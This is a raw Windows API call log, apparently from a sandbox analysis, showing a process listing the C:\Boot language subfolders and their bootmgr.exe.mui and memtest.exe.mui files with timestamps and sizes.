	[0077.941] GetFileAttributesExW (in: lpFileName="C:\\Boot\\el-GR" (normalized: "c:\\boot\\el-gr"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0077.941] CreateFileW (lpFileName="C:\\Boot\\el-GR" (normalized: "c:\\boot\\el-gr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0077.941] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39dce0
	[0077.941] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.941] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0077.942] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0077.942] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0077.942] FindClose (in: hFindFile=0x1619f39dce0 | out: hFindFile=0x1619f39dce0) returned 1
	[0077.942] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0077.942] GetFileAttributesExW (in: lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13960)) returned 1
	[0077.942] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0077.942] GetFileAttributesExW (in: lpFileName="C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0)) returned 1
	[0077.979] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0077.980] GetFileAttributesExW (in: lpFileName="C:\\Boot\\en-GB" (normalized: "c:\\boot\\en-gb"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0077.980] CreateFileW (lpFileName="C:\\Boot\\en-GB" (normalized: "c:\\boot\\en-gb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0077.980] FindFirstFileW (in: lpFileName="C:\\Boot\\en-GB\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39df20
	[0077.980] FindNextFileW (in: hFindFile=0x1619f39df20, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.980] FindNextFileW (in: hFindFile=0x1619f39df20, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0077.980] FindNextFileW (in: hFindFile=0x1619f39df20, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0077.980] FindClose (in: hFindFile=0x1619f39df20 | out: hFindFile=0x1619f39df20) returned 1
	[0077.980] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0077.981] GetFileAttributesExW (in: lpFileName="C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158)) returned 1
	[0077.981] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0077.981] GetFileAttributesExW (in: lpFileName="C:\\Boot\\en-US" (normalized: "c:\\boot\\en-us"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0077.981] CreateFileW (lpFileName="C:\\Boot\\en-US" (normalized: "c:\\boot\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0077.981] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39e100
	[0077.981] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.981] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef569843, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x327294d0, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x121a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0077.981] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0077.981] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0077.981] FindClose (in: hFindFile=0x1619f39e100 | out: hFindFile=0x1619f39e100) returned 1
	[0077.981] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0077.982] GetFileAttributesExW (in: lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef569843, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x327294d0, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x121a0)) returned 1
	[0078.019] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.019] GetFileAttributesExW (in: lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0)) returned 1
	[0078.019] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.019] GetFileAttributesExW (in: lpFileName="C:\\Boot\\es-ES" (normalized: "c:\\boot\\es-es"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0078.019] CreateFileW (lpFileName="C:\\Boot\\es-ES" (normalized: "c:\\boot\\es-es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0078.019] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39dce0
	[0078.020] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.020] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0078.020] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0078.020] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0078.020] FindClose (in: hFindFile=0x1619f39dce0 | out: hFindFile=0x1619f39dce0) returned 1
	[0078.020] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0078.020] GetFileAttributesExW (in: lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60)) returned 1
	[0078.020] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.020] GetFileAttributesExW (in: lpFileName="C:\\Boot\\es-ES\\memtest.exe.mui" (normalized: "c:\\boot\\es-es\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0)) returned 1
	[0078.056] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.056] GetFileAttributesExW (in: lpFileName="C:\\Boot\\es-MX" (normalized: "c:\\boot\\es-mx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0078.056] CreateFileW (lpFileName="C:\\Boot\\es-MX" (normalized: "c:\\boot\\es-mx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0078.057] FindFirstFileW (in: lpFileName="C:\\Boot\\es-MX\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39dec0
	[0078.057] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.057] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0078.057] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0078.057] FindClose (in: hFindFile=0x1619f39dec0 | out: hFindFile=0x1619f39dec0) returned 1
	[0078.057] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0078.057] GetFileAttributesExW (in: lpFileName="C:\\Boot\\es-MX\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60)) returned 1
	[0078.057] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.057] GetFileAttributesExW (in: lpFileName="C:\\Boot\\et-EE" (normalized: "c:\\boot\\et-ee"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0078.057] CreateFileW (lpFileName="C:\\Boot\\et-EE" (normalized: "c:\\boot\\et-ee"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
